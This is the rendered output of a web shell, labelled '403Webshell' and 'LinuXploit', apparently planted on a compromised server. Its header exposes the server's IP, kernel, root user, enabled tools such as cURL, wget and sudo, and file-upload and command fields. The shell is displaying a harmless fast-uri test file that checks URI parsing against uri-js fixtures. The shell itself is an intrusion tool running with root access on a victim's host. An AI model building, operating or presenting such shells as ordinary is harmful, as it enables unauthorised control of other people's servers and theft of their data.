403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.216.37
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/fast-uri/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/fast-uri/test/uri-js-compatibility.test.js
'use strict'

const test = require('tape')
const fastURI = require('../')

const uriJsParseFixtures = require('./fixtures/uri-js-parse.json')
const uriJsSerializeFixtures = require('./fixtures/uri-js-serialize.json')

test('uri-js compatibility Parse', (t) => {
  uriJsParseFixtures.forEach((
    [value, expected]
  ) => {
    if (value === '//10.10.000.10') {
      return t.skip('Skipping //10.10.000.10 as it is not a valid URI per URI spec: https://datatracker.ietf.org/doc/html/rfc5954#section-4.1')
    }
    if (value.slice(0, 6) === 'mailto') {
      return t.skip('Skipping mailto schema test as it is not supported by fastifyURI')
    }
    t.same(JSON.parse(JSON.stringify(fastURI.parse(value))), expected, 'Compatibility parse: ' + value)
  })
  t.end()
})

test('uri-js compatibility serialize', (t) => {
  uriJsSerializeFixtures.forEach(([value, expected]) => {
    t.same(
      fastURI.serialize(value),
      expected,
      'Compatibility serialize: ' + JSON.stringify(value)
    )
  })
  t.end()
})

Youez - 2016 - github.com/yon3zu
LinuXploit